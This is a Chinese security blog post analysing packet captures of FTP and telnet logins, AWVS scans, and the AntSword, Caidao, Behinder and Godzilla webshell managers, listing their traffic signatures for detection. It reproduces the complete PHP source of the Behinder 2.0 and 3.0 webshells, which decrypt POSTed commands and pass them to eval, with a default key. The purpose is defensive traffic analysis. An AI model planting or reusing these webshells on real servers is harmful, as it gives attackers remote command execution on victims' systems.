freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

协议及webshell流量分析
2022-04-22 11:18:43
所属地 宁夏

by:pumpkin

FTP

在传输文件时:
FTP客户端程序先与服务器建立连接,然后向服务器发送命令;
服务器收到命令后给予响应,并执行命令。

如下图所示,可以看到ftp传输的所有信息,FTP是明文形式传输数据包,我们能在info中看到登录FTP的用户名、密码、执行命令等。
图片.png
客户端首先与FTP服务器TCP三次握手建立连接,建立连接成 功后,FTP服务器返回状态码220,表示服务就绪。
图片.png
FTP服务器返回状态码220 特征: File Transfer Protocol (FTP) 220 Welcome to the FTP Server\r\n Response code: Service ready for new user (220) Response arg: Welcome to the FTP Server
向FTP服务器发送登录用户名:ftp并等待验证,用户名验证通过后,FTP 服务器返回状态码331,表示用户名验证已通过并需要输入密码。
图片.png

特征:
File Transfer Protocol (FTP) USER ftp\r\n Request command: USER Request arg: ftp 使用了FTP协议,输入的用户名为ftp,请求的命令是USER,请求参数为ftp。

服务器返回331,用户名验证通过(存在此用户名) File Transfer Protocol (FTP) 331 User name ok, password required\r\n Response code: User name okay, need password (331) Response arg: User name ok, password required

将登录密码:123456发送给FTP服务器,FTP服务器验证后返回状态码 230,表示用户已经登录。
图片.png

特征:
File Transfer Protocol (FTP) PASS 123456\r\n Request command: PASS Request arg: 123456 输入的密码为123456,请求的命令是PASS,请求参数为123456。

服务器返回230: File Transfer Protocol (FTP) 230 Password ok, continue\r\n Response code: User logged in, proceed (230) Response arg: Password ok, continue

终端向FTP服务器发送命令,FTP服务器返回状态码 200,表示命令执行成功。
图片.png
特征:
执行命令: File Transfer Protocol (FTP) PWD\r\n Request command: PWD 服务器返回200: File Transfer Protocol (FTP) 200 Connection established (60309)\r\n Response code: Command okay (200) Response arg: Connection established (60309)

telnet

主机输入一个字符就发送一个Telnet报文(登录登出、执行命令均是如此)
图片.png
图片.png
对telnet进行爆破,对其中一个进行查看,发现使用明文传输,可以看到爆破的密码
图片.png
图片.png
特征: Telnet Data: qwerty\r

AWVS

若是使用AWVS扫描器对网站进行扫描攻击,拿到流量包进行查看,会发现大量的TCP数据和HTTP数据,可先进行筛选HTTP数据,查看Hypertext Transfer Protocol(应用层的信息),会发现AWVS特征,如下图所示。
图片.png

蚁剑

上传并执行命令:
图片.png
数据:
图片.png
特征:
(1)HTTP请求中含有antSword,如下所示:User-Agent: antSword/v2.1
图片.png
(2)每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头(有的工具会将这段编码或者加密,而蚁剑是明文),并且存在base64等字符,响应包的结果返回格式为 随机数 结果 随机数。
图片.png
post数据url解码:
图片.png
响应包格式:
图片.png

菜刀

(1)菜刀中,@ini_set(“display_errors”, “0”);@set_time_limit(0)是base64编码

(2)菜刀伪造User-Agent,其UA为伪造成百度爬虫
图片.png

冰蝎

冰蝎2.0

冰蝎的通信过程可以分为两个阶段:

1. 密钥协商 2. 加密传输

服务端支持open_ssl时,使用AES加密算法,密钥长度16位。

上传shell.php为例

<?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?>
上传并执行命令:
图片.png
上传shell并执行命令数据包:
图片.png

密钥协商

客户端以get/post形式发起请求服务器密钥,由上图可以看到发送两次get请求,分为两次get握手请求,第一次请求服务端产生密钥写入session,第二次请求获取后续解密使用的 key。下图所示的 d7931a0d0b6de197就是解密后续代码的key。
图片.png
加密传输

post发送及服务端返回数据均加密通信,如下图:

1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端; 2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令; 3)执行结果通过AES加密后返回给攻击者。
图片.png
使用d7931a0d0b6de197对post数据进行解密,发现解密后数据还进行base64编码,可以直接base64解码

(后续数据包均使用d7931a0d0b6de197作为密钥进行AES解密,得到的数据进行base64解码,即可看到明文数据)
图片.png
查看执行命令数据包:
图片.png
进行AES解密:
图片.png
base64解码,可以查看到我们执行的命令:
图片.png
同样的操作对返回数据解密
图片.png
查看结果如下:
图片.png
特征字段

(1)Accept与Connection

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

默认情况下,请求头和响应头里会带有 Connection,Connection: Keep-Alive
图片.png
(2)密钥传递阶段,密钥存在于Response Body中
图片.png

冰蝎3.0

采用预共享秘钥,全程无明文交互

上传shell.php

<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?>
上传并执行命令时数据包:
图片.png
执行命令:
图片.png
上传数据包:
图片.png
使用AES解密 (密钥为shell.php连接密码32位md5值的前16位)
图片.png
将解密出的内容base64解码
图片.png
$content这个变量名称和里面的内容为随机生成的, 目的是为了绕过$Content-Length
响应包内容:
图片.png
先进行AES解密
图片.png
对msg内容base64解码,得到的与客户端发送的$content一致,验证通过
图片.png

参考:https://xz.aliyun.com/t/9404#toc-1

哥斯拉

(以2.9.6为例)

生成并上传test2.php:
图片.png
执行命令:
图片.png
数据:
图片.png
查看数据包,第一个包响应为空:
图片.png
特征字段:

(1)User-Agent:哥斯拉客户端使用JAVA语言编写,在默认的情况下,user-Agent显示为:User-Agent: Java/1.8.0_271(具体什么版本取决于JDK环境版本)

(2)AcceptAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2冰蝎中也出现过同样的Accept。

ps:以上特征可以通过自定义http头部进行去除。
图片.png
(3)Cookie: ``Cookie: PHPSESSID=rut2a51prso470jvfe2q502o44;cookie最后面存在一个“;”
图片.png

# web安全 # 分析,抓包
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录